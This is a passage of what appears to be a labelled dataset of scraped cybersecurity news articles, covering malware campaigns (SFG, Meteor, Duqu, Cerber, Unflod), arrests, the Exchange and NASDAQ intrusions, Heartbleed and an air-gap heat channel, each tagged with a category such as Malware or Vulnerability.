Ransomware threat has emerged in past few years and many victims, including local police departments, do pay ransom to the crooks to get their important and personal files back.

To keep yourself safe from this emerging threat, we have a good article on How to protect your computer from ransomware malware?

",Malware
State-Sponsored SCADA Malware targeting European Energy Companies,https://thehackernews.com/2016/07/scada-malware-energy.html,"Security researchers have discovered a new campaign targeting energy companies in Western Europe with a sophisticated malware that almost goes to great lengths in order to remain undetected while targeting energy companies.

Researchers from SentinelOne Labs discovered the malware, which has already infected at least one European energy company, is so sneaky and advanced that it is likely believed to be the work of a wealthy nation.

The malware, dubbed 'SFG', contains about 280 kilobytes of code, featuring a vast arsenal of tools rarely seen in ordinary malware samples. It takes ""extreme measures"" to cleverly and stealthily evade a large number of security defenses before it drops its payload.

The malware dismantles antiviruses processes one-by-one until the malware is finally safe to uninstall them all. It also encrypts key features of its code so that it could not be discovered and analyzed. It'll not execute itself if it senses it's being run in a sandbox environment.

The Windows-based malware even takes special care of features such as facial recognition, fingerprint scanners, and other advanced biometric access control systems running inside target organizations.

To gain administrative access to the infected computer, the malware sample uses a pair of privilege escalation exploits for Windows flaws (CVE-2014-4113 and CVE-2015-1701) that were patched by Microsoft in October 2014 and May 2015, respectively.
SentinelOne Chief Security Officer Udi Shamir says: ""The malware has all the hallmarks of a nation-state attack due to its extremely high level of sophistication and the cost associated with creating software of this advanced nature.""
Once it has gained administrative control of a computer, the malware surveys the connected network, reports information about the infected network back to its operators, and await further instructions, giving attackers a network backdoor on targeted industrial control systems.

The backdoor could then be used to install other malware on systems for more detailed espionage or ""extract data or potentially shut down the energy grid,"" security researchers warn.

The SFG malware is related to an earlier malware sample dubbed Furtim – another piece of highly sophisticated malware that was uncovered in May – that's also able to evade antivirus and other security defenses.

The amount of time, efforts, and resources required to create the malware means that it is the work of a team of hackers working for a wealthy nation government, though the researchers didn't reveal the nation behind the attack.
""It appears to be the work of multiple developers who've reverse engineered more than a dozen antivirus solutions and gone to extreme lengths to evade detection, including causing the [antivirus] software to stop working without the user being alerted,"" Shamir wrote says.

""Attacks of this nature require substantial funding and knowhow to pull off and are likely to be the result of a state-sponsored attack, rather than a cybercriminal group.""
You can find more technical details about the SFG malware in a report published by the security firm SentinelOne on Tuesday.

",Malware
"Marcus Hutchins (MalwareTech) Gets $30,000 Bail, But Can't Leave United States",https://thehackernews.com/2017/08/malwaretech-marcus-hutchins.html,"Marcus Hutchins, the malware analyst who helped stop global Wannacry menace, has reportedly pleaded not guilty to charges of creating and distributing the infamous Kronos banking malware and is set to release on $30,000 bail on Monday.

Hutchins, the 23-year-old who operates under the alias MalwareTech on Twitter, stormed to fame and hailed as a hero over two months ago when he stopped a global epidemic of the WannaCry ransomware attack by finding a kill switch in the malware code.

MalwareTech Arrested After Attending Def Con Event

Hutchins was recently arrested at the McCarran International Airport before he could board his flight back to the U.K. after attending Def Con event for his alleged role in creating and distributing the Kronos Banking Trojan between 2014-2015.

Kronos is a Banking Trojan designed to steal banking credentials and personal information from victims' computers, which was sold for $7,000 on Russian online forums.

MalwareTech to Pay $30,000 for Bail, But Can't Leave US
In a police interview, Hutchins admitted of writing the code of malware that targeted bank accounts, US prosecutors said during a hearing on Friday, but during the hearing at a Las Vegas court, he pleaded not guilty.

The judge at Las Vegas court ruled on Friday that Hutchins could be released on $30,000 bail, saying the defendant wasn't a danger to the community nor a flight risk, though the judge ordered him to remain in the U.S. with GPS monitoring.

Unfortunately, since the clerk's office closed at 4 PM, the bail did not happen yet. The attorney expects Hutchins will be released on Monday but will need to appear in Wisconsin for facing the grand jury indictment on Tuesday (8 August).

Adrian Lobo, Hutchins' defence attorney (in above video), later confirmed to the local reporter Christy Wilcox.

""We intend to fight the case,"" Lobo said. ""He has dedicated his life to researching malware, not to try to harm people. He has tremendous community support, local and abroad and in the computer world.""

Hutchins, along with another unnamed co-defendant, is currently facing six counts of hacking-related charges from the United States Department of Justice (DoJ) for writing the Kronos virus in 2014.

If Found Guilty, MalwareTech Could Face 40 Years In US Prison

Hutchins was also charged with five other counts, including wiretapping and violating Computer Fraud and Abuse Act.

If convicted, Hutchins faces a maximum of 40 years in jail.

Hutchins' supporters believe that he is innocent and claims a tweet from July 2014 proves he could not have written the malware. In the tweet, Hutchins was himself asking for a Kronos sample.

",Malware
"'Paunch', Blackhole exploit kit creator and Gang arrested in Russia",https://thehackernews.com/2013/12/Punch-Blackhole-exploit-kit-arrested-in-russia.html,"In October, we had reported that the creator of the infamous Blackhole exploit kit was arrested in Russia and now the Russian Ministry of Internal Affairs has also confirmed that 'Paunch', the mastermind behind infamous BlackHole exploit kit, along with Gang of 12 other criminals were arrested on October 4, 2013 in Russia.
Russian security firm Group-IB has disclosed that it has assisted the police in the investigation of Paunch, who was residing in the city of Togliatti.

27-years old 'Paunch' is the author of the notorious BlackHole and Cool exploit kits that are today popular among cybercriminals and costs $500 to $700 a month in for buyers.

Cool and Blackhole exploit kits are the ready-made hacking tools for easily serving malware from compromised sites, in result to install malware on users' computers using exploits of zero-day vulnerabilities in latest web browsers. The general damage caused by the criminal gang is estimated around US $2.13 million.

'At present, there are reports that BlackHole kingpin, 'Paunch' , has more than a thousand customers. It is known that 'Paunch' was earning $50,000 per month from his illegal activity and had a white Porsche Cayenne as his personal car.' Group-IB said in a press release.

He also created Crypt.Am − an anonymous anti-virus simulator, which provided services for protection of malware against detection by antivirus programs.

",Malware
Warning: Malware Campaign targeting Jailbroken Apple iOS Devices,https://thehackernews.com/2014/04/iphone-ios-Malware-targeting-apple-account.html,"A new piece of malicious malware infection targeting jailbroken Apple iOS devices in an attempt to steal users' credentials, has been discovered by Reddit users.

The Reddit Jailbreak community discovered the malicious infection dubbed as 'Unflod Baby Panda', on some jailbroken Apple iOS devices on Thursday while a user noticed an unusual activity that the file was causing apps such as Snapchat and Google Hangouts to crash constantly on his jailbroken iPhone.

CHINA WANTS YOUR APPLE ID & PASSWORDS
Soon after the jailbroken developer uncovered the mysteries 'Unfold.dylib' file and found that the infection targets jailbroken iOS handsets to captures Apple IDs and passwords from Internet sessions that use Secure Socket Layer (SSL) to encrypt communications and is believed to be spreading through the Chinese iOS software sites, according to the researchers at German security firm SektionEins.

The researchers found that the captured login information is been sent to some server of the Internet Protocol (IP) address ""23.88.10.4"", which is suspected to be controlled by the individuals in China, as the malware developer certificate is found digitally signed by the name Wang Xin.
""Currently the jailbreak community believes that deleting the Unfold.dylib binary and changing the apple-id's password afterwards is enough to recover from this attack. However it is still unknown how the dynamic library ends up on the device in the first place and therefore it is also unknown if it comes with additional malware gifts,"" the researchers wrote while inspecting the infection. ""We therefore believe that the only safe way of removal is a full restore, which means the removal and loss of the jailbreak,"" they added.
Immediately after the thread at the Reddit jailbreak community was started, several developers in the community warned the users to not touch the software, which they suspected was a malware. While the researchers noted that the manual removal of the malware infection is possible.

AFFECTED DEVICES
The iPhone owners using iPhone 5 and any other 32-bit jailbroken iOS device handset might be affected, who are advised to change their Apple ID password after the removal of the malicious software using the steps mentioned below.

However, the iPhone owners using latest 64-bit iOS devices such as iPhone 5S, iPad Air and iPad Mini Retina might not be affected by the malware.

HOW TO REMOVE MALWARE
Download the iFile app for free from Cydia and by using iFile, check whether your device is affected by the malicious software or not.
Navigate to /Library/MobileSubstrate/DynamicLibraries/
If you spot any files named Unflod.dylib or Unflod.plist and/or framework.dylib and framework.plist then you have been affected.
Use iFile to delete Unflod.dylib and Unflod.plist and/or framework.dylib and framework.plist
Reboot your device and then change your Apple ID password and security questions immediately and just to be on safe side, use two-step verification method and avoid installing apps from untrusted sources.
for details of removal click here.

Yet, most iPhone users are not vulnerable to the malicious malware as the infection requires the user's handset to be jailbroken in order to be installed in the victim's device. Also the malware has not been spotted on any of the apps on the Apple iOS App Store , THANKS to Apple's tight control of the App Store approval process.

",Malware
Can Data Protection Systems Prevent Data At Rest Leakage?,https://thehackernews.com/2021/05/can-data-protection-systems-prevent.html,"Protection against insider risks works when the process involves controlling the data transfer channels or examining data sources.
One approach involves preventing USB flash drives from being copied or sending them over email. The second one concerns preventing leakage or fraud in which an insider accesses files or databases with harmful intentions.
What's the best way to protect your data?
It seems obvious that prevention is the best way to solve any problem. In most cases, DCAP (data-centric audit and protection) and DAM (database activity monitoring) is sufficient. Both serve the purpose of protecting data at rest.
The following example illustrates the approach we found in the Russian legal system.
An employee of the Federal Migration Service in one of the Russian regions was approached by his friend, who asked him to hide information about two offenses in his file in the migrant database. The employee knew that this could be done remotely, accessed the database from home, and blocked the necessary data. For doing this, he received a reward of a mere $100.
In order to prevent this incident from happening, it was enough for the manager to observe the employee accessing the database and performing unauthorized operations. A DAM solution would be helpful. Here you can browse more information about the DAM system tactics.
As an example of how the DCAP system detected fraud, here is a customer's case from SearchInform:
SearchInform FileAuditor identified several computers on which price lists were stored and where, in addition to selling prices, purchase prices were also listed. This information is confidential; it is prohibited to distribute it uncontrollably within or outside the company. If customers know the purchase prices, they will be armed with arguments and can negotiate the best discounts. There is clearly a loss for the seller.
The price column was typed in white, which made the price list appear like it was normal. In spite of this, FileAuditor acknowledged that the purchase price was definitely included in the document. Investigating the case using the DLP system, the cybersecurity specialist discovered that employees had forwarded these price lists to external email addresses. A subsequent investigation confirmed that there was collusion between the buyers and sellers.
This was classic scheming: the seller's manager agreed to a large discount for the buyer on any pretext he could think of. The buyer representative agreed to repay a portion of the difference to the seller's manager, who negotiated the discount.
So, both the seller and manager benefited, while the company selling lost money. In the event of a violation, it can take up to a year for the damage to be identified; depending on the size of the business, this damage can range from thousands up to millions of dollars.
It turns out that control of information sources enables an information security expert to detect an incident at its earliest stage - intention, rather than following up after it occurs. Tight control on such matters prohibits a more detailed investigation, which would allow evidence to be collected and conclusions drawn so that the incident wouldn't repeat itself. Here, the information security specialist has tightened DLP security policies on documents that include purchase prices.
Which is the best approach to data protection?
A complex approach. It's not possible to solve everything with DLP. Not everything is really dependent on control of the source. However, when combined, these approaches give a super-effect. When the DCAP system detects a potential violation, the DLP system gathers evidence and allows conclusions to be drawn on how to improve business processes and make them more transparent.
What are DCAP and DAM?
DCAP and DAM solutions are already on the market in mass quantities due to the need for data at rest protection. In addition, this software is easy to use and integrates with already popular security solutions.
You can use SearchInform FileAuditor to determine:
which documents contain business-critical information,
how much of this information is stored by the company and where it is located,
who has access to them and can modify them.
It is possible for the IT department to take on such tasks. For instance, DCAP makes the file system less messy since each document is assigned a category (contracts, prices, personal data, research, etc.).


Probably not the most important feature, but shadow copying is a useful feature, which lets you restore documents without any problems if something goes wrong. As a first step, however, the software is intended for information security specialists.
Here's how FileAuditor works:
searches for a file
assesses its compliance with the rules and labels it (""personal data,"" ""agreement,"" etc.)
if necessary, copy a file to the repository.
keeps track of all actions with files and folders
reads permissions on files and folders
at subsequent checks, only newly added or changed files are scanned.
This year, SearchInform also released its own database monitoring solution - SearchInform Database Monitor. A database is the main information asset of businesses, so it plays a critical role in their operations. Fraudsters are interested in both the entire array and specific access points to data. This threat can be handled using the DAM system; for example, the Database Monitor sees:
Who is accessing the databases, and for what purpose?
What information is requested from the database, and how much of it.
What changes are being made to the databases?
In spite of the belief by many companies that they have sufficient control over their file systems and are certain that their users will adhere to corporate policies, our experience shows that some companies can treat sensitive information poorly, and some documents can be found at nonconforming locations.
Try the file audit solution for 30 days for free, and you'll probably change your mind and learn more about data misuse incidents within your company.

",Data_Breaches
A New Wiper Malware Was Behind Recent Cyberattack On Iranian Train System,https://thehackernews.com/2021/07/a-new-wiper-malware-was-behind-recent.html,"A cyber attack that derailed websites of Iran's transport ministry and its national railway system earlier this month, causing widespread disruptions in train services, was the result of a never-before-seen reusable wiper malware called ""Meteor.""
The campaign — dubbed ""MeteorExpress"" — has not been linked to any previously identified threat group or to additional attacks, making it the first incident involving the deployment of this malware, according to researchers from Iranian antivirus firm Amn Pardaz and SentinelOne. Meteor is believed to have been in the works over the past three years.
""Despite a lack of specific indicators of compromise, we were able to recover most of the attack components,"" SentinelOne's Principal Threat Researcher, Juan Andres Guerrero-Saade, noted. ""Behind this outlandish tale of stopped trains and glib trolls, we found the fingerprints of an unfamiliar attacker,"" adding the offensive is ""designed to cripple the victim's systems, leaving no recourse to simple remediation via domain administration or recovery of shadow copies.""
On July 9, the Iranian train system was left paralyzed in the wake of a major attack, with the hackers defacing electronic displays to instruct passengers to direct their complaints to the phone number of the Iranian Supreme Leader Ayatollah Ali Khamenei's office. The incident is said to have reportedly caused ""unprecedented chaos"" at stations with hundreds of trains delayed or canceled.
Now according to SentinelOne, the infection chain commenced with the abuse of Group Policy to deploy a toolkit that consisted of a combination of batch files orchestrating different components, which are extracted from multiple RAR archives and are chained together to facilitate the encryption of the filesystem, corruption of the master boot record (MBR), and locking of the system in question.
Other batch script files dropped during the attack were found to take charge of disconnecting the infected device from the network and creating Windows Defender exclusions for all of the components, a tactic that's becoming increasingly prevalent among threat actors to hide their malicious activities from antimalware solutions installed on the machine.
Meteor, for its part, is an externally configurable wiper with an extensive set of features, including the ability to delete shadow copies as well as a ""wealth of additional functionality"" such as changing user passwords, terminating arbitrary processes, disabling recovery mode, and executing malicious commands.
The wiper has been characterized as ""a bizarre amalgam of custom code"" that blends open-source components with ancient software that's ""rife with sanity checks, error checking, and redundancy in accomplishing its goals,"" suggesting a fragmented approach and a lack of coordination across different teams involved in the development.
""Conflict in cyberspace is overpopulated with increasingly brazen threat actors. Behind the artistry of this epic troll lies an uncomfortable reality where a previously unknown threat actor is willing to leverage wiper malware against public railways systems,"" Guerrero-Saade said. ""The attacker is an intermediate level player whose different operational components sharply oscillate from clunky and rudimentary to slick and well-developed.""
""We should keep in mind that the attackers were already familiar with the general setup of their target, features of the domain controller, and the target's choice of backup system (Veeam). That implies a reconnaissance phase that flew entirely under the radar and a wealth of espionage tooling that we've yet to uncover.""

",Cyber_Attack
Duqu Trojan found in Indian Server,https://thehackernews.com/2011/10/duqu-trojan-found-in-indian-server.html,"Duqu Trojan found in Indian Server

Last week we update you about Duqu when Symantec said it had found a mysterious computer virus that contained code similar to Stuxnet, a piece of malware believed to have wreaked havoc on Iran's nuclear program.

Two workers at a web-hosting company called Web Werks told Reuters that officials from India's Department of Information Technology last week took several hard drives and other components from a server that security firm Symantec Corp told them was communicating with computers infected with Duqu.

The equipment seized from Web Werks, a privately held company in Mumbai with about 200 employees, might hold valuable data to help investigators determine who built Duqu and how it can be used. But putting the pieces together is a long and difficult process, experts said. ""This one is challenging,"" said Marty Edwards, director of the US Department of Homeland Security's Industrial Control Systems Cyber Emergency Response Team. ""It's a very complex piece of software.""

The Duqu trojan is composed of several malicious files that work together for a malicious purpose.
Duqu appears to be more narrowly targeted than Stuxnet as researchers estimate the new trojan virus has infected at most dozens of machines so far. By comparison, Stuxnet spread much more quickly, popping up on thousands of computer systems.

Security firms including Dell Inc's SecureWorks, Intel Corp's McAfee, Kaspersky Lab and Symantec say they found Duqu victims in Europe, Iran, Sudan and the United States. They declined to provide their identities.

Duqu so named because it creates files with ""DQ"" in the prefix -- was designed to steal secrets from the computers it infects, researchers said, such as design documents from makers of highly sophisticated valves, motors, pipes and switches.

Duqu and Stuxnet both use a kernel driver to decrypt and load encrypted DLL (Dynamic Load Library) files. The kernel drivers serve as an ""injection"" engine to load these DLLs into a specific process. This technique is not unique to either Duqu or Stuxnet and has been observed in other unrelated threats.

""We are a little bit behind in the game,"" said Don Jackson, a director of the Dell SecureWorks Counter Threat Unit. ""Knowing what these guys are doing, they are probably a step ahead.""
[Source]

",Malware
Microsoft Exchange Hackers Also Breached European Banking Authority,https://thehackernews.com/2021/03/microsoft-exchange-hackers-also.html,"The European Banking Authority (EBA) on Sunday said it had been a victim of a cyberattack targeting its Microsoft Exchange Servers, forcing it to temporarily take its email systems offline as a precautionary measure.
""As the vulnerability is related to the EBA's email servers, access to personal data through emails held on that servers may have been obtained by the attacker,"" the Paris-based regulatory agency said.
EBA said it's launched a full investigation into the incident in partnership with its information and communication technology (ICT) provider, a team of forensic experts, and other relevant entities.
In a second update issued on Monday, the agency said it had secured its email infrastructure and that it found no evidence of data extraction, adding it has ""no indication to think that the breach has gone beyond our email servers.""
Besides deploying extra security measures, EBA also noted it's closely monitoring the situation after restoring the full functionality of the email servers.
The development is a consequence of an ongoing widespread exploitation campaign by multiple threat actors targeting vulnerable Microsoft Exchange email servers a week after Microsoft rolled out emergency patches to address four security flaws that could be chained to bypass authentication and remotely execute malicious programs.
Microsoft is said to have learned of these vulnerabilities as early as January 5, 2021, indicating that the company had almost two months before it eventually pushed out a fix that shipped on March 2.
The Exchange Server mass hack has so far claimed at least 60,000 known victims globally, including a significant number of small businesses and local governments, with the attackers casting a wide net before filtering high-profile targets for further post-exploitation activity.
The rapidly accelerating intrusions, which also come three months after the SolarWinds hacking campaign, has been primarily attributed to a group called Hafnium, which Microsoft says is a state-sponsored group operating out of China.
Since then, intelligence gathered from multiple sources points to an increase in anomalous web shell activity targeting Exchange servers by at least five different threat clusters toward the end of February, a fact that may have played an important role in Microsoft releasing the fixes a week ahead of the Patch Tuesday schedule.
Indeed, according to the vulnerability disclosure timeline shared by Taiwanese cybersecurity firm Devcore, Microsoft's Security Response Center (MSRC) is said to have originally planned the patch for March 9, which coincides with the Patch Tuesday for this month.
If the commoditization of the ProxyLogon vulnerabilities doesn't come as a surprise, the swift and indiscriminate exploitation by a multitude of cybercrime gangs and nation-state hackers alike is sure is, implying that the flaws were relatively easier to spot and exploit.
Stating that the Chinese Exchange server hacks are a major norms violation, Dmitri Alperovitch, chairman of the Silverado Policy Accelerator and co-founder of CrowdStrike, said ""while it started out as targeted espionage campaign, they engaged in reckless and dangerous behavior by scanning/compromising Exchange servers across the entire IPv4 address space with web shells that can now be used by other actors, including ransomware crews.""

",Cyber_Attack
Hacking Air-Gapped Computers Using Heat,https://thehackernews.com/2015/03/hacking-air-gapped-computer.html,"An air-gapped computer system isolated from the Internet and other computers that are connected to external networks believes to be the most secure computers on the planet -- Yeah?? You need to think again before calling them 'safe'.

A group of Israeli security researchers at the Cyber Security Labs from Ben Gurion University have found a new technique to hack ultra-secure air-gapped computers and retrieve data using only heat emissions and a computer's built-in thermal sensors.

WHAT IS AIR-GAPPED COMPUTERS ?
Air-gapped computers or systems are considered to be the most secure and safest computer systems. These systems are isolated from the Internet or any other commuters that are connected to the Internet or external network.

Air-gapped systems are used in situations that demand high security because it's very difficult to siphon data from these systems, as it requires a physical access to the machine which is possible by using removable device such as a USB flash drive or a firewire cable.

Air-gapped computers are classified military networks, the payment networks that process credit and debit card transactions for retailers, and in industrial control systems that operate critical infrastructure of the Nation. Even journalists use them to prevent intruders from remotely accessing sensitive data.

HACKING AIR-GAPPED COMPUTERS USING HEAT
In August 2014, security researchers from Ben Gurion University found a new way to breach an air-gapped system by using a method called Air-Hopper which utilizes little more than a mobile phone's FM radio signals for data exfiltration.

The same security researchers have now discovered a new technique, dubbed BitWhisper, that could be used by hackers to hack air-gapped computers by utilizing heat exchange between two computer systems.
Dudu Mimran, the CTO of Cyber Security Labs, blogged on Monday, ""BitWhisper is a demonstration for a covert bi-directional communication channel between two close by air-gapped computers communicating via heat. The method allows bridging the air-gap between the two physically adjacent and compromised computers using their heat emissions and built-in thermal sensors to communicate.""
This new technique would allow hackers to stealthily siphon passwords or security keys from a secured system and send the sensitive data to an Internet-connected system which is placed in close proximity controlled by hackers.

Hackers could also use their Internet-connected system to send malicious commands to the air-gapped computer using the same heat and sensor technique in order to cause more severe danger to the secured infrastructure.

The team provided a video demonstration which shows how they were able to send a command from one computer to an adjacent air-gapped machine to re-position a toy missile launcher connected to the adjacent air-gapped system.

HOW BITWHISPER WORKS ?
Thermal sensors exist in computers used to trigger the internal fans to cool the PC down if overheating components such as CPU, GPU (graphics-processing unit) and other motherboard components threatens to damage them.

BitWhisper utilizes these sensors to send commands to an air-gapped system or siphon data from it. The different heat patterns generated from the computer is regulated and binary data is modulated into thermal signals.

The other adjacent PC in close proximity to the first one uses its built-in thermal sensors to measure the environmental changes. These changes are then sampled, processed, and demodulated into binary data in order to exfiltrate data.

Experts demonstrated that the communication can also be bi-directional with both computers capable of transmitting or receiving commands and data by using the heat emitted by computers' various components. A hacker simply needs to plant a piece of malware on each PC that need to communicate.
Dudu Mimran told The Hacker News in an email that Its ""not easy (to install Malware,) but possible i.e via USB or bad firmware or infection via other computers in the internal network. Such malware can be installed long time before activation so there are quite a few chances. Our base assumption that air gapped computers can be infected.""
The malware is designed to search for nearby systems by periodically emitting a thermal ping from the infected system in order to determine when a victim has placed his infected laptop next to a classified desktop system.
""Once a bridging attempt is successful, a logical link between the public network and the internal network in established,"" researchers explained. ""At this stage, the attacker can communicate with the formerly isolated network, issuing commands and receiving responses.""
Both the systems would then engage in a handshake, involving a sequence of ""thermal pings"", to establish a connection between them. But increased success of an operation is achieved outside work hours, when the internet-connected computer and the air-gapped one are in close proximity for an ongoing period and there is no need to conduct a handshake each time.

FEW LIMITATIONS
The proof-of-concept attack requires both systems to first be compromised with malware.
The attack currently allows for just 8 bits of data to be reliably transmitted over an hour, which is sufficient for an attacker to siphon a password or secret keys.
The attack works only if the air-gapped system is within 40 centimeters/about 15 inches from the other computer controlled by an attacker.
However, researchers say they may be able to increase the distance between the two communicating computers and the speed of data transfer between them.

FUTURE ATTACK MAY INVOLVE IoT DEVICES
According to the security researchers, the future research might involve using the so-called internet of things (IoT) — an internet-connected heating and air conditioning system or a fax machine — as an attack vector instead of internet-connect computers.

The team of researchers Mordechai Guri and Matan Munitz, under the guidance of Professor Yuval Elovici, planned to present their findings at a security conference in Tel Aviv next week and publish a paper on their research, ""BitWhisper: Covert Signaling Channel between Air-Gapped Computers Using Thermal Manipulations.""

",Vulnerability
Surveyspaysu.com ( Survey Company ) Emails/Passwords Exposed,https://thehackernews.com/2011/05/surveyspaysucom-survey-company.html,"Surveyspaysu.com ( Survey Company ) Emails/Passwords Exposed

Mohit Pande find a Security hole in a Survey Company at Surveyspaysu.com , whose whole database is visible to everyone without login. Almost 183500 Members data is Exposed to all.

",Vulnerability
Zero-Day Warning! Ransomware targets Microsoft Office 365 Users,https://thehackernews.com/2016/06/ransomware-msoffice.html,"If just relying on the security tools of Microsoft Office 365 can protect you from cyber attacks, you are wrong.

Variants of Cerber Ransomware are now targeting MS Office 365 email users with a massive zero-day attack that has the ability to bypass Office 365's built-in security tools.

According to a report published by cloud security provider Avanan, the massive zero-day Cerber ransomware attack targeted Microsoft Office 365 users with spam or phishing emails carrying malicious file attachments.

The Cerber ransomware is invoked via Macros. Yes, it's hard to believe but even in 2016, a single MS Office document could compromise your system by enabling 'Macros'.

Locky and Dridex ransomware malware also made use of the malicious Macros to hijack systems. Over $22 Million were pilfered from the UK banks with the Dridex Malware that got triggered via a nasty macro virus.

You can see a screenshot of the malicious document in the latest malware campaign below, targeting Microsoft Office 365 users:
While the security firm did not specify the exact number of users possibly hit by the ransomware, Microsoft reported in its first quarter 2016 that there are almost 18.2 Million Office 365 subscribers.
""While difficult to precisely measure how many users got infected,"" Avanan estimated that ""roughly 57 percent of organizations using Office 365 received at least one copy of the malware into one of their corporate mailboxes during the time of the attack.""
Although Cerber originally emerged in March, the malware campaign targeting Office 365 users began on June 22. However, Microsoft started blocking the malicious file attachment on June 23.

The Cerber Ransomware not only encrypts user files and displays a ransom note, but also takes over the user's audio system to read out its ransom note informing them that their files were encrypted.

The ransomware encrypts files with AES-256 encryption, asking victims to pay 1.24 Bitcoin (nearly US$810) for the decryption key.

How to Protect Yourself from Cerber Ransomware

In order to prevent yourself from the Cerber or any ransomware attack:
Always keep your system and antivirus up-to-date.
Regularly backup your files in an external hard-drive.
Disable Macros in your MS Office programs.
Always beware of phishing emails, spams, and clicking the malicious attachment.
You can also use an Intrusion detection system (IDS), for which you can try AlienVault Unified Security Management (USM) that includes an inbuilt IDS with SIEM and real-time threat intelligence to help you quickly detect malware and other threats in your network.
We have also written a step-by-step tutorial article on How to Protect your Computer from Macro-based Malware, which you can follow to secure yourself.

",Cyber_Attack
NSA denies Report that Agency knew and exploited Heartbleed Vulnerability,https://thehackernews.com/2014/04/NSA-Heartbleed-Vulnerability-OpenSSL-Robin-Seggelmann.html,"The Bloomberg claimed that the U.S. National Security Agency (NSA) knew about the most critical Heartbleed flaw and has been using it on a regular basis to gather ""critical intelligence"" and sensitive information for at least past two years and decided to keep the bug secret, citing two sources 'familiar with the matter'.

In response to the above report, NSA has issued a '94 character' statement today denying the claims that it has known about the Heartbleed bug since two years and that it has been using it silently for the purpose of surveillance.

""NSA was not aware of the recently identified Heartbleed vulnerability until it was made public,"" the U.S. intelligence agency said on its Twitter feed.

Heartbleed is one of the biggest Internet vulnerabilities in recent history that left large number of cryptographic keys and private data such as usernames, passwords, and credit card numbers, from the most important sites and services on the Internet open for hackers.

The bug resides in the ""Heartbeat"" feature of the most secured open source encryption protocol, OpenSSL, which is used by several social networks, search engines, banks and other websites to enable secure connections while transmitting data.

A team of researchers from Codenomicon and Google Security researcher revealed the vulnerability this week that is in the wild since the new version 1.0.1f was released in March 2012. And just after the revelation, OpenSSL released the security Fix for the bug in its version 1.0.1g, but until then the Heartbleed bug made websites, email, instant messaging (IM), including some virtual private networks, on about half a million of the world's widely trusted web servers, open to hackers.

The birth of the most critical bug Heartbleed was due to a mistake done by a German programmer Robin Seggelmann over two years ago while working on a new Heartbeat feature in the OpenSSL.

He submitted the code of OpenSSL with the heartbeat feature in an update on New Year's Eve, 2011, and an ""oversight"" led to an error that unintentionally created the ""Heartbleed"" vulnerability.

Yesterday he said it could be entirely possible that the government intelligence agencies had been making use of this critical flaw over the past two years.

The fix was released just after, but the users' data are vulnerable until the vulnerable websites didn't implement it. You can only change your password immediately for those websites that are not affected, assuming that it was vulnerable before, just to make sure that you are now safe.

Related Important Articles:
How Heartbleed Bug Exposes Your Passwords to Hackers
German Developer responsible for HeartBleed Bug in OpenSSL
How to Protect yourself from the 'Heartbleed' Bug
Heartbleed - OpenSSL Zero-day Bug leaves Millions of websites Vulnerable

",Vulnerability
Experts Believe Chinese Hackers Are Behind Several Attacks Targeting Israel,https://thehackernews.com/2021/08/experts-believe-chinese-hackers-are.html,"A Chinese cyber espionage group has been linked to a string of intrusion activities targeting Israeli government institutions, IT providers, and telecommunications companies at least since 2019, with the hackers masquerading themselves as Iranian actors to mislead forensic analysis.
FireEye's Mandiant threat intelligence arm attributed the campaign to an operator it tracks as ""UNC215"", a Chinese espionage operation that's believed to have singled out organizations around the world dating back as far as 2014, linking the group with ""low confidence"" to an advanced persistent threat (APT) widely known as APT27, Emissary Panda, or Iron Tiger.
""UNC215 has compromised organizations in the government, technology, telecommunications, defense, finance, entertainment, and health care sectors,"" FireEye's Israel and U.S. threat intel teams said in a report published today.
""The group targets data and organizations which are of great interest to Beijing's financial, diplomatic, and strategic objectives,"" the findings reflecting a relentless appetite for defense-related secrets among hacking groups.
Early attacks perpetrated by the collective is said to have exploited a Microsoft SharePoint vulnerability (CVE-2019-0604) as a stepping stone toward infiltrating government and academic networks to deploy web shells and FOCUSFJORD payloads at targets in the Middle East and Central Asia. First described by the NCC Group in 2018, FOCUSFJORD, also called HyperSSL and Sysupdate, is a backdoor that's part of an arsenal of tools put to use by the Emissary Panda actor.
Upon gaining an initial foothold, the adversary follows an established pattern of conducting credential harvesting and internal reconnaissance to identify key systems within the target network, before carrying out lateral movement activities to install a custom implant called HyperBro that comes with capabilities such as screen capture and keylogging.
Each phase of the attack is marked by notable efforts undertaken to hinder detection by removing any traces of residual forensic artifacts from compromised machines, while simultaneously improving the FOCUSFJORD backdoor in response to security vendor reports, concealing command-and-control (C2) infrastructure by using other victim networks to proxy their C2 instructions, and even incorporating false flags in an attempt to mislead attribution.
To that effect, the group deployed a custom web shell called SEASHARPEE that's associated with Iranian APT groups on at least three occasions, and even used file paths containing references to Iran and displayed error messages in Arabic likely to obfuscate the source of the activity.
What's more, in a 2019 operation against an Israeli government network, UNC215 obtained access to the primary target via remote desktop protocol (RDP) connections from a trusted third-party using stolen credentials, abusing it to deploy and remotely execute the FOCUSFJORD malware, the cybersecurity firm noted.
""The activity [...] demonstrates China's consistent strategic interest in the Middle East,"" the researchers concluded. ""This cyber espionage activity is happening against the backdrop of China's multi-billion-dollar investments related to the Belt and Road Initiative (BRI) and its interest in Israeli's robust technology sector.""
""China has conducted numerous intrusion campaigns along the BRI route to monitor potential obstructions—political, economic, and security—and we anticipate that UNC215 will continue targeting governments and organizations involved in these critical infrastructure projects in Israel and the broader Middle East in the near- and mid-term,"" the teams added.

",Cyber_Attack
"How Russian Hackers Placed ""Digital Bomb"" Into the NASDAQ",https://thehackernews.com/2014/07/how-russian-hackers-placed-digital-bomb.html,"Four years ago, NASDAQ servers were compromised by Russian hackers, who were somehow able to insert a ""digital bomb"" into the systems of NASDAQ stock exchange, which would have been able to cause several damage to the computer systems in the stock market and could bring down the entire structure of the financial system of the United States.

Till now, identities of the hackers have not been identified by the agencies who are investigating the whole incident from past four years. However, it has been identified that the intruder was not a student or a teen, but the intelligence agency of another country.

The Hackers successfully infiltrated the network of NASDAQ stock exchange with customized malware which had ability to extract data from the systems and carry out surveillance as well. However, a closer look at the malware indicated that it was designed to cause widespread disruption in the NASDAQ computer system.

MALWARE EXPLOITS TWO 0-DAY VULNERABILITIES
According to a magazine cover story, the malware that was actually used by the hackers to infect NASDAQ servers exploited two mystery zero-day vulnerabilities.

The attack on the NASDAQ stock exchange was reported by Bloomberg Businessweek in its investigative cover story, ""The Nasdaq Hack"", which detailed the incidents took place at the NASDAQ leading up to the discovery of the inserted digital time bomb.

According to the magazine, it all started in October 2010, when the FBI was monitoring the Internet traffic in the United States and noticed a signal coming from NASDAQ, which indicated a malware infection. The most troubling part was that the malware was actually an attack code, which was created to cause significant damage, from another country's foreign intelligence agency.

In February 2011, NASDAQ stock exchange confirmed the breach to its network and notified its customers.

